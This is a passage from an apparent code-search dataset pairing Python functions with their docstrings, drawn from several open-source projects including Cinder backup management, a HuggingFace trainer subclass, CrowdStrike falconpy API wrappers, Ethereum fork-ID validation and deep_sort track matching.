raise exception.BackupVerifyUnsupportedDriver(reason=msg)
elif ((status == fields.BackupStatus.ERROR) or ((status == fields.BackupStatus.AVAILABLE) and (backup.status == fields.BackupStatus.RESTORING))):
backup.status = status
backup.save()
except exception.InvalidBackup:
with excutils.save_and_reraise_exception():
LOG.error('Backup id %s is not invalid. Skipping reset.', backup.id)
except exception.BackupVerifyUnsupportedDriver:
with excutils.save_and_reraise_exception():
LOG.error('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'configured_service': self.driver_name, 'id': backup.id})
except AttributeError:
msg = (_('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping reset.') % {'service': self.driver_name, 'id': backup.id})
LOG.error(msg)
raise exception.BackupVerifyUnsupportedDriver(reason=msg)
try:
self._cleanup_temp_volumes_snapshots_for_one_backup(context, backup)
except Exception:
LOG.exception('Problem cleaning temp volumes and snapshots for backup %(bkup)s.', {'bkup': backup.id})
notifier_info = {'id': backup.id, 'update': {'status': status}}
notifier = rpc.get_notifier('backupStatusUpdate')
notifier.info(context, 'backups.reset_status.end', notifier_info) | Reset volume backup status.
:param context: running context
:param backup: The backup object for reset status operation
:param status: The status to be set
:raises InvalidBackup:
:raises BackupVerifyUnsupportedDriver:
:raises AttributeError: | cinder/backup/manager.py | reset_status | inspur-storage/cinder | 1 | python | def reset_status(self, context, backup, status):
'Reset volume backup status.\n\n :param context: running context\n :param backup: The backup object for reset status operation\n :param status: The status to be set\n :raises InvalidBackup:\n :raises BackupVerifyUnsupportedDriver:\n :raises AttributeError:\n '
LOG.info('Reset backup status started, backup_id: %(backup_id)s, status: %(status)s.', {'backup_id': backup.id, 'status': status})
backup_service_name = self._map_service_to_driver(backup.service)
LOG.info('Backup service: %s.', backup_service_name)
if (backup_service_name is not None):
configured_service = self.driver_name
if (backup_service_name not in configured_service):
err = (_('Reset backup status aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service_name})
raise exception.InvalidBackup(reason=err)
try:
if ((status == fields.BackupStatus.AVAILABLE) and (backup['status'] != fields.BackupStatus.RESTORING)):
backup_service = self.get_backup_driver(context)
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
backup.status = status
backup.save()
else:
msg = (_('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.') % {'configured_service': self.driver_name, 'id': backup.id})
raise exception.BackupVerifyUnsupportedDriver(reason=msg)
elif ((status == fields.BackupStatus.ERROR) or ((status == fields.BackupStatus.AVAILABLE) and (backup.status == fields.BackupStatus.RESTORING))):
backup.status = status
backup.save()
except exception.InvalidBackup:
with excutils.save_and_reraise_exception():
LOG.error('Backup id %s is not invalid. Skipping reset.', backup.id)
except exception.BackupVerifyUnsupportedDriver:
with excutils.save_and_reraise_exception():
LOG.error('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'configured_service': self.driver_name, 'id': backup.id})
except AttributeError:
msg = (_('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping reset.') % {'service': self.driver_name, 'id': backup.id})
LOG.error(msg)
raise exception.BackupVerifyUnsupportedDriver(reason=msg)
try:
self._cleanup_temp_volumes_snapshots_for_one_backup(context, backup)
except Exception:
LOG.exception('Problem cleaning temp volumes and snapshots for backup %(bkup)s.', {'bkup': backup.id})
notifier_info = {'id': backup.id, 'update': {'status': status}}
notifier = rpc.get_notifier('backupStatusUpdate')
notifier.info(context, 'backups.reset_status.end', notifier_info) | def reset_status(self, context, backup, status):
'Reset volume backup status.\n\n :param context: running context\n :param backup: The backup object for reset status operation\n :param status: The status to be set\n :raises InvalidBackup:\n :raises BackupVerifyUnsupportedDriver:\n :raises AttributeError:\n '
LOG.info('Reset backup status started, backup_id: %(backup_id)s, status: %(status)s.', {'backup_id': backup.id, 'status': status})
backup_service_name = self._map_service_to_driver(backup.service)
LOG.info('Backup service: %s.', backup_service_name)
if (backup_service_name is not None):
configured_service = self.driver_name
if (backup_service_name not in configured_service):
err = (_('Reset backup status aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service_name})
raise exception.InvalidBackup(reason=err)
try:
if ((status == fields.BackupStatus.AVAILABLE) and (backup['status'] != fields.BackupStatus.RESTORING)):
backup_service = self.get_backup_driver(context)
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
backup.status = status
backup.save()
else:
msg = (_('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.') % {'configured_service': self.driver_name, 'id': backup.id})
raise exception.BackupVerifyUnsupportedDriver(reason=msg)
elif ((status == fields.BackupStatus.ERROR) or ((status == fields.BackupStatus.AVAILABLE) and (backup.status == fields.BackupStatus.RESTORING))):
backup.status = status
backup.save()
except exception.InvalidBackup:
with excutils.save_and_reraise_exception():
LOG.error('Backup id %s is not invalid. Skipping reset.', backup.id)
except exception.BackupVerifyUnsupportedDriver:
with excutils.save_and_reraise_exception():
LOG.error('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'configured_service': self.driver_name, 'id': backup.id})
except AttributeError:
msg = (_('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping reset.') % {'service': self.driver_name, 'id': backup.id})
LOG.error(msg)
raise exception.BackupVerifyUnsupportedDriver(reason=msg)
try:
self._cleanup_temp_volumes_snapshots_for_one_backup(context, backup)
except Exception:
LOG.exception('Problem cleaning temp volumes and snapshots for backup %(bkup)s.', {'bkup': backup.id})
notifier_info = {'id': backup.id, 'update': {'status': status}}
notifier = rpc.get_notifier('backupStatusUpdate')
notifier.info(context, 'backups.reset_status.end', notifier_info)<|docstring|>Reset volume backup status.
:param context: running context
:param backup: The backup object for reset status operation
:param status: The status to be set
:raises InvalidBackup:
:raises BackupVerifyUnsupportedDriver:
:raises AttributeError:<|endoftext|> |
135a2f8489a1f6716eb54d6f519540473629140adc1f502315f2204fd107215a | def check_support_to_force_delete(self, context):
'Check if the backup driver supports force delete operation.\n\n :param context: running context\n '
backup_service = self.get_backup_driver(context)
return backup_service.support_force_delete | Check if the backup driver supports force delete operation.
:param context: running context | cinder/backup/manager.py | check_support_to_force_delete | inspur-storage/cinder | 1 | python | def check_support_to_force_delete(self, context):
'Check if the backup driver supports force delete operation.\n\n :param context: running context\n '
backup_service = self.get_backup_driver(context)
return backup_service.support_force_delete | def check_support_to_force_delete(self, context):
'Check if the backup driver supports force delete operation.\n\n :param context: running context\n '
backup_service = self.get_backup_driver(context)
return backup_service.support_force_delete<|docstring|>Check if the backup driver supports force delete operation.
:param context: running context<|endoftext|> |
bd2dbc3e9e6ad5bec0859f6e7600512ae18c9339002202c1d25a4084f0616f30 | def _attach_device(self, ctxt, backup_device, properties, is_snapshot=False):
'Attach backup device.'
if (not is_snapshot):
return self._attach_volume(ctxt, backup_device, properties)
else:
return self._attach_snapshot(ctxt, backup_device, properties) | Attach backup device. | cinder/backup/manager.py | _attach_device | inspur-storage/cinder | 1 | python | def _attach_device(self, ctxt, backup_device, properties, is_snapshot=False):
if (not is_snapshot):
return self._attach_volume(ctxt, backup_device, properties)
else:
return self._attach_snapshot(ctxt, backup_device, properties) | def _attach_device(self, ctxt, backup_device, properties, is_snapshot=False):
if (not is_snapshot):
return self._attach_volume(ctxt, backup_device, properties)
else:
return self._attach_snapshot(ctxt, backup_device, properties)<|docstring|>Attach backup device.<|endoftext|> |
b6c7b5f66c2467dd0c791e1e74bdec234412479bc8252b65614d5e7aca89ec30 | def _attach_volume(self, context, volume, properties):
'Attach a volume.'
try:
conn = self.volume_rpcapi.initialize_connection(context, volume, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection(context, volume, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of volume %(volume_id)s, but it is acceptable.', {'volume_id', volume.id}) | Attach a volume. | cinder/backup/manager.py | _attach_volume | inspur-storage/cinder | 1 | python | def _attach_volume(self, context, volume, properties):
try:
conn = self.volume_rpcapi.initialize_connection(context, volume, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection(context, volume, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of volume %(volume_id)s, but it is acceptable.', {'volume_id', volume.id}) | def _attach_volume(self, context, volume, properties):
try:
conn = self.volume_rpcapi.initialize_connection(context, volume, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection(context, volume, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of volume %(volume_id)s, but it is acceptable.', {'volume_id', volume.id})<|docstring|>Attach a volume.<|endoftext|> |
78147b47019286c8a9ca328c58acc792052da5ff60a3ab228ec027d5c5ddf426 | def _attach_snapshot(self, ctxt, snapshot, properties):
'Attach a snapshot.'
try:
conn = self.volume_rpcapi.initialize_connection_snapshot(ctxt, snapshot, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection_snapshot(ctxt, snapshot, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of snapshot %(snapshot_id)s, but it is acceptable.', {'snapshot_id', snapshot.id}) | Attach a snapshot. | cinder/backup/manager.py | _attach_snapshot | inspur-storage/cinder | 1 | python | def _attach_snapshot(self, ctxt, snapshot, properties):
try:
conn = self.volume_rpcapi.initialize_connection_snapshot(ctxt, snapshot, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection_snapshot(ctxt, snapshot, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of snapshot %(snapshot_id)s, but it is acceptable.', {'snapshot_id', snapshot.id}) | def _attach_snapshot(self, ctxt, snapshot, properties):
try:
conn = self.volume_rpcapi.initialize_connection_snapshot(ctxt, snapshot, properties)
return self._connect_device(conn)
except Exception:
with excutils.save_and_reraise_exception():
try:
self.volume_rpcapi.terminate_connection_snapshot(ctxt, snapshot, properties, force=True)
except Exception:
LOG.warning('Failed to terminate the connection of snapshot %(snapshot_id)s, but it is acceptable.', {'snapshot_id', snapshot.id})<|docstring|>Attach a snapshot.<|endoftext|> |
1d4cff7c35020e308945ab38a7d4609ec0d8f970f6c4f05ea56f222c5f75f6c9 | def _connect_device(self, conn):
'Establish connection to device.'
use_multipath = CONF.use_multipath_for_image_xfer
device_scan_attempts = CONF.num_volume_device_scan_tries
protocol = conn['driver_volume_type']
connector = utils.brick_get_connector(protocol, use_multipath=use_multipath, device_scan_attempts=device_scan_attempts, conn=conn)
vol_handle = connector.connect_volume(conn['data'])
return {'conn': conn, 'device': vol_handle, 'connector': connector} | Establish connection to device. | cinder/backup/manager.py | _connect_device | inspur-storage/cinder | 1 | python | def _connect_device(self, conn):
use_multipath = CONF.use_multipath_for_image_xfer
device_scan_attempts = CONF.num_volume_device_scan_tries
protocol = conn['driver_volume_type']
connector = utils.brick_get_connector(protocol, use_multipath=use_multipath, device_scan_attempts=device_scan_attempts, conn=conn)
vol_handle = connector.connect_volume(conn['data'])
return {'conn': conn, 'device': vol_handle, 'connector': connector} | def _connect_device(self, conn):
use_multipath = CONF.use_multipath_for_image_xfer
device_scan_attempts = CONF.num_volume_device_scan_tries
protocol = conn['driver_volume_type']
connector = utils.brick_get_connector(protocol, use_multipath=use_multipath, device_scan_attempts=device_scan_attempts, conn=conn)
vol_handle = connector.connect_volume(conn['data'])
return {'conn': conn, 'device': vol_handle, 'connector': connector}<|docstring|>Establish connection to device.<|endoftext|> |
113a20b88f005418cca585a3a4a9a590ceb246a8de4484e8c0f8225c8d20525f | def _detach_device(self, ctxt, attach_info, device, properties, is_snapshot=False, force=False, ignore_errors=False):
'Disconnect the volume or snapshot from the host. '
connector = attach_info['connector']
connector.disconnect_volume(attach_info['conn']['data'], attach_info['device'], force=force, ignore_errors=ignore_errors)
rpcapi = self.volume_rpcapi
if (not is_snapshot):
rpcapi.terminate_connection(ctxt, device, properties, force=force)
rpcapi.remove_export(ctxt, device)
else:
rpcapi.terminate_connection_snapshot(ctxt, device, properties, force=force)
rpcapi.remove_export_snapshot(ctxt, device) | Disconnect the volume or snapshot from the host. | cinder/backup/manager.py | _detach_device | inspur-storage/cinder | 1 | python | def _detach_device(self, ctxt, attach_info, device, properties, is_snapshot=False, force=False, ignore_errors=False):
' '
connector = attach_info['connector']
connector.disconnect_volume(attach_info['conn']['data'], attach_info['device'], force=force, ignore_errors=ignore_errors)
rpcapi = self.volume_rpcapi
if (not is_snapshot):
rpcapi.terminate_connection(ctxt, device, properties, force=force)
rpcapi.remove_export(ctxt, device)
else:
rpcapi.terminate_connection_snapshot(ctxt, device, properties, force=force)
rpcapi.remove_export_snapshot(ctxt, device) | def _detach_device(self, ctxt, attach_info, device, properties, is_snapshot=False, force=False, ignore_errors=False):
' '
connector = attach_info['connector']
connector.disconnect_volume(attach_info['conn']['data'], attach_info['device'], force=force, ignore_errors=ignore_errors)
rpcapi = self.volume_rpcapi
if (not is_snapshot):
rpcapi.terminate_connection(ctxt, device, properties, force=force)
rpcapi.remove_export(ctxt, device)
else:
rpcapi.terminate_connection_snapshot(ctxt, device, properties, force=force)
rpcapi.remove_export_snapshot(ctxt, device)<|docstring|>Disconnect the volume or snapshot from the host.<|endoftext|> |
d1419e640a7d913f8e05105ba6633db6969f356b969e4825f98668ade3e26e7d | def compute_loss(self, model, inputs, return_outputs=False):
'\n How the loss is computed by Trainer. By default, all models return the loss in the first element.\n\n Subclass and override for custom behavior.\n '
if ((self.label_smoother is not None) and ('labels' in inputs)):
labels = inputs.pop('labels')
else:
labels = None
outputs = model(**inputs)
if (self.args.past_index >= 0):
self._past = outputs[self.args.past_index]
if (labels is not None):
loss = self.label_smoother(outputs, labels)
else:
loss = (outputs['loss'] if isinstance(outputs, dict) else outputs[0])
return ((loss, outputs) if return_outputs else loss) | How the loss is computed by Trainer. By default, all models return the loss in the first element.
Subclass and override for custom behavior. | src/magic_box/train_qa.py | compute_loss | Oh-Donggyu/mrc-level2-nlp-01 | 1 | python | def compute_loss(self, model, inputs, return_outputs=False):
'\n How the loss is computed by Trainer. By default, all models return the loss in the first element.\n\n Subclass and override for custom behavior.\n '
if ((self.label_smoother is not None) and ('labels' in inputs)):
labels = inputs.pop('labels')
else:
labels = None
outputs = model(**inputs)
if (self.args.past_index >= 0):
self._past = outputs[self.args.past_index]
if (labels is not None):
loss = self.label_smoother(outputs, labels)
else:
loss = (outputs['loss'] if isinstance(outputs, dict) else outputs[0])
return ((loss, outputs) if return_outputs else loss) | def compute_loss(self, model, inputs, return_outputs=False):
'\n How the loss is computed by Trainer. By default, all models return the loss in the first element.\n\n Subclass and override for custom behavior.\n '
if ((self.label_smoother is not None) and ('labels' in inputs)):
labels = inputs.pop('labels')
else:
labels = None
outputs = model(**inputs)
if (self.args.past_index >= 0):
self._past = outputs[self.args.past_index]
if (labels is not None):
loss = self.label_smoother(outputs, labels)
else:
loss = (outputs['loss'] if isinstance(outputs, dict) else outputs[0])
return ((loss, outputs) if return_outputs else loss)<|docstring|>How the loss is computed by Trainer. By default, all models return the loss in the first element.
Subclass and override for custom behavior.<|endoftext|> |
4326d5884548a59f89e1adf05590035975fa02cc228c77abd57cb776d633eb77 | def get_eval_dataloader(self, eval_dataset: Optional[Dataset]=None) -> DataLoader:
'\n Returns the evaluation :class:`~torch.utils.data.DataLoader`.\n\n Subclass and override this method if you want to inject some custom behavior.\n\n Args:\n eval_dataset (:obj:`torch.utils.data.Dataset`, `optional`):\n If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not\n accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.\n '
if ((eval_dataset is None) and (self.eval_dataset is None)):
raise ValueError('Trainer: evaluation requires an eval_dataset.')
eval_dataset = (eval_dataset if (eval_dataset is not None) else self.eval_dataset)
if (is_datasets_available() and isinstance(eval_dataset, datasets.Dataset)):
eval_dataset = self._remove_unused_columns(eval_dataset, description='evaluation')
if isinstance(eval_dataset, torch.utils.data.IterableDataset):
if (self.args.world_size > 1):
eval_dataset = IterableDatasetShard(eval_dataset, batch_size=self.args.eval_batch_size, drop_last=self.args.dataloader_drop_last, num_processes=self.args.world_size, process_index=self.args.process_index)
return DataLoader(eval_dataset, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory)
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(eval_dataset, sampler=eval_sampler, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory) | Returns the evaluation :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
eval_dataset (:obj:`torch.utils.data.Dataset`, `optional`):
If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not
accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`. | src/magic_box/train_qa.py | get_eval_dataloader | Oh-Donggyu/mrc-level2-nlp-01 | 1 | python | def get_eval_dataloader(self, eval_dataset: Optional[Dataset]=None) -> DataLoader:
'\n Returns the evaluation :class:`~torch.utils.data.DataLoader`.\n\n Subclass and override this method if you want to inject some custom behavior.\n\n Args:\n eval_dataset (:obj:`torch.utils.data.Dataset`, `optional`):\n If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not\n accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.\n '
if ((eval_dataset is None) and (self.eval_dataset is None)):
raise ValueError('Trainer: evaluation requires an eval_dataset.')
eval_dataset = (eval_dataset if (eval_dataset is not None) else self.eval_dataset)
if (is_datasets_available() and isinstance(eval_dataset, datasets.Dataset)):
eval_dataset = self._remove_unused_columns(eval_dataset, description='evaluation')
if isinstance(eval_dataset, torch.utils.data.IterableDataset):
if (self.args.world_size > 1):
eval_dataset = IterableDatasetShard(eval_dataset, batch_size=self.args.eval_batch_size, drop_last=self.args.dataloader_drop_last, num_processes=self.args.world_size, process_index=self.args.process_index)
return DataLoader(eval_dataset, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory)
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(eval_dataset, sampler=eval_sampler, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory) | def get_eval_dataloader(self, eval_dataset: Optional[Dataset]=None) -> DataLoader:
'\n Returns the evaluation :class:`~torch.utils.data.DataLoader`.\n\n Subclass and override this method if you want to inject some custom behavior.\n\n Args:\n eval_dataset (:obj:`torch.utils.data.Dataset`, `optional`):\n If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not\n accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.\n '
if ((eval_dataset is None) and (self.eval_dataset is None)):
raise ValueError('Trainer: evaluation requires an eval_dataset.')
eval_dataset = (eval_dataset if (eval_dataset is not None) else self.eval_dataset)
if (is_datasets_available() and isinstance(eval_dataset, datasets.Dataset)):
eval_dataset = self._remove_unused_columns(eval_dataset, description='evaluation')
if isinstance(eval_dataset, torch.utils.data.IterableDataset):
if (self.args.world_size > 1):
eval_dataset = IterableDatasetShard(eval_dataset, batch_size=self.args.eval_batch_size, drop_last=self.args.dataloader_drop_last, num_processes=self.args.world_size, process_index=self.args.process_index)
return DataLoader(eval_dataset, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory)
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(eval_dataset, sampler=eval_sampler, batch_size=self.args.eval_batch_size, collate_fn=default_data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory)<|docstring|>Returns the evaluation :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
eval_dataset (:obj:`torch.utils.data.Dataset`, `optional`):
If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not
accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.<|endoftext|> |
feeff17ccefc5784c319e3effb7d95b87c75c4a4e264c38142ccee13ccc2acfc | @force_default(defaults=['parameters'], default_types=['dict'])
def get_assessment(self: object, parameters: dict=None, **kwargs) -> dict:
'\n Get Zero Trust Assessment data for one or more hosts by providing agent IDs (AID) and a customer ID (CID).\n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getAssessmentV1', keywords=kwargs, params=parameters) | Get Zero Trust Assessment data for one or more hosts by providing agent IDs (AID) and a customer ID (CID). | src/falconpy/zero_trust_assessment.py | get_assessment | woodtechie1428/falconpy | 0 | python | @force_default(defaults=['parameters'], default_types=['dict'])
def get_assessment(self: object, parameters: dict=None, **kwargs) -> dict:
'\n \n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getAssessmentV1', keywords=kwargs, params=parameters) | @force_default(defaults=['parameters'], default_types=['dict'])
def get_assessment(self: object, parameters: dict=None, **kwargs) -> dict:
'\n \n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getAssessmentV1', keywords=kwargs, params=parameters)<|docstring|>Get Zero Trust Assessment data for one or more hosts by providing agent IDs (AID) and a customer ID (CID).<|endoftext|> |
67fb4bda8f63a5b56e9f083a06bd2e8c0ba671d97a4cbb19e98a73f61b32d8a3 | def get_compliance(self: object) -> dict:
'\n Get the Zero Trust Assessment compliance report for one customer ID (CID).\n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getComplianceV1') | Get the Zero Trust Assessment compliance report for one customer ID (CID). | src/falconpy/zero_trust_assessment.py | get_compliance | woodtechie1428/falconpy | 0 | python | def get_compliance(self: object) -> dict:
'\n \n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getComplianceV1') | def get_compliance(self: object) -> dict:
'\n \n '
return process_service_request(calling_object=self, endpoints=Endpoints, operation_id='getComplianceV1')<|docstring|>Get the Zero Trust Assessment compliance report for one customer ID (CID).<|endoftext|> |
6d1b09f526f079a1ae906be23cbe92e0e4d6044c2683f580e079a3b16c28f288 | def validate_forkid(forkid: ForkID, genesis_hash: Hash32, head: BlockNumber, fork_blocks: Tuple[(BlockNumber, ...)]) -> None:
'\n Validate the given ForkID against our current state.\n\n Validation rules are described at\n https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2124.md#validation-rules\n '
fork_blocks_list = list(fork_blocks)
checksums = [binascii.crc32(genesis_hash)]
for block_number in fork_blocks_list:
block_number_as_bytes = block_number.to_bytes(8, 'big')
checksums.append(binascii.crc32(block_number_as_bytes, checksums[(- 1)]))
fork_blocks_list.append(BlockNumber(sys.maxsize))
for (i, block_number) in enumerate(fork_blocks_list):
if (head > block_number):
continue
if (_crc_to_bytes(checksums[i]) == forkid.hash):
if ((forkid.next > 0) and (head >= forkid.next)):
raise LocalChainIncompatibleOrStale('rule 1a')
return
for (b, checksum) in itertools.zip_longest(fork_blocks_list[:i], checksums[:i]):
if (_crc_to_bytes(checksum) == forkid.hash):
if (b != forkid.next):
raise RemoteChainIsStale()
return
for checksum in checksums[i:]:
if (_crc_to_bytes(checksum) == forkid.hash):
return
raise LocalChainIncompatibleOrStale('different chains')
logging.getLogger('p2p').error('Impossible forkid validation for %s', forkid) | Validate the given ForkID against our current state.
Validation rules are described at
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2124.md#validation-rules | trinity/protocol/eth/forkid.py | validate_forkid | indi-ca/trinity | 1 | python | def validate_forkid(forkid: ForkID, genesis_hash: Hash32, head: BlockNumber, fork_blocks: Tuple[(BlockNumber, ...)]) -> None:
'\n Validate the given ForkID against our current state.\n\n Validation rules are described at\n https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2124.md#validation-rules\n '
fork_blocks_list = list(fork_blocks)
checksums = [binascii.crc32(genesis_hash)]
for block_number in fork_blocks_list:
block_number_as_bytes = block_number.to_bytes(8, 'big')
checksums.append(binascii.crc32(block_number_as_bytes, checksums[(- 1)]))
fork_blocks_list.append(BlockNumber(sys.maxsize))
for (i, block_number) in enumerate(fork_blocks_list):
if (head > block_number):
continue
if (_crc_to_bytes(checksums[i]) == forkid.hash):
if ((forkid.next > 0) and (head >= forkid.next)):
raise LocalChainIncompatibleOrStale('rule 1a')
return
for (b, checksum) in itertools.zip_longest(fork_blocks_list[:i], checksums[:i]):
if (_crc_to_bytes(checksum) == forkid.hash):
if (b != forkid.next):
raise RemoteChainIsStale()
return
for checksum in checksums[i:]:
if (_crc_to_bytes(checksum) == forkid.hash):
return
raise LocalChainIncompatibleOrStale('different chains')
logging.getLogger('p2p').error('Impossible forkid validation for %s', forkid) | def validate_forkid(forkid: ForkID, genesis_hash: Hash32, head: BlockNumber, fork_blocks: Tuple[(BlockNumber, ...)]) -> None:
'\n Validate the given ForkID against our current state.\n\n Validation rules are described at\n https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2124.md#validation-rules\n '
fork_blocks_list = list(fork_blocks)
checksums = [binascii.crc32(genesis_hash)]
for block_number in fork_blocks_list:
block_number_as_bytes = block_number.to_bytes(8, 'big')
checksums.append(binascii.crc32(block_number_as_bytes, checksums[(- 1)]))
fork_blocks_list.append(BlockNumber(sys.maxsize))
for (i, block_number) in enumerate(fork_blocks_list):
if (head > block_number):
continue
if (_crc_to_bytes(checksums[i]) == forkid.hash):
if ((forkid.next > 0) and (head >= forkid.next)):
raise LocalChainIncompatibleOrStale('rule 1a')
return
for (b, checksum) in itertools.zip_longest(fork_blocks_list[:i], checksums[:i]):
if (_crc_to_bytes(checksum) == forkid.hash):
if (b != forkid.next):
raise RemoteChainIsStale()
return
for checksum in checksums[i:]:
if (_crc_to_bytes(checksum) == forkid.hash):
return
raise LocalChainIncompatibleOrStale('different chains')
logging.getLogger('p2p').error('Impossible forkid validation for %s', forkid)<|docstring|>Validate the given ForkID against our current state.
Validation rules are described at
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2124.md#validation-rules<|endoftext|> |
ea409c269e0588c52dda98d18afe126f0b26a1bf403f9ce119a34da8f97bafac | def min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices=None, detection_indices=None):
'Solve linear assignment problem.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection_indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = np.arange(len(tracks))
if (detection_indices is None):
detection_indices = np.arange(len(detections))
if ((len(detection_indices) == 0) or (len(track_indices) == 0)):
return ([], track_indices, detection_indices)
cost_matrix = distance_metric(tracks, detections, track_indices, detection_indices)
cost_matrix[(cost_matrix > max_distance)] = (max_distance + 1e-05)
(row_indices, col_indices) = linear_assignment(cost_matrix)
(matches, unmatched_tracks, unmatched_detections) = ([], [], [])
for (col, detection_idx) in enumerate(detection_indices):
if (col not in col_indices):
unmatched_detections.append(detection_idx)
for (row, track_idx) in enumerate(track_indices):
if (row not in row_indices):
unmatched_tracks.append(track_idx)
for (row, col) in zip(row_indices, col_indices):
track_idx = track_indices[row]
detection_idx = detection_indices[col]
if (cost_matrix[(row, col)] > max_distance):
unmatched_tracks.append(track_idx)
unmatched_detections.append(detection_idx)
else:
matches.append((track_idx, detection_idx))
return (matches, unmatched_tracks, unmatched_detections) | Solve linear assignment problem.
Parameters
----------
distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray
The distance metric is given a list of tracks and detections as well as
a list of N track indices and M detection indices. The metric should
return the NxM dimensional cost matrix, where element (i, j) is the
association cost between the i-th track in the given track indices and
the j-th detection in the given detection_indices.
max_distance : float
Gating threshold. Associations with cost larger than this value are
disregarded.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : List[int]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above).
detection_indices : List[int]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above).
Returns
-------
(List[(int, int)], List[int], List[int])
Returns a tuple with the following three entries:
* A list of matched track and detection indices.
* A list of unmatched track indices.
* A list of unmatched detection indices. | deep_sort_pytorch/deep_sort/sort/linear_assignment.py | min_cost_matching | JisuHann/Autonomous-Driving-Cart-MEME | 2,175 | python | def min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices=None, detection_indices=None):
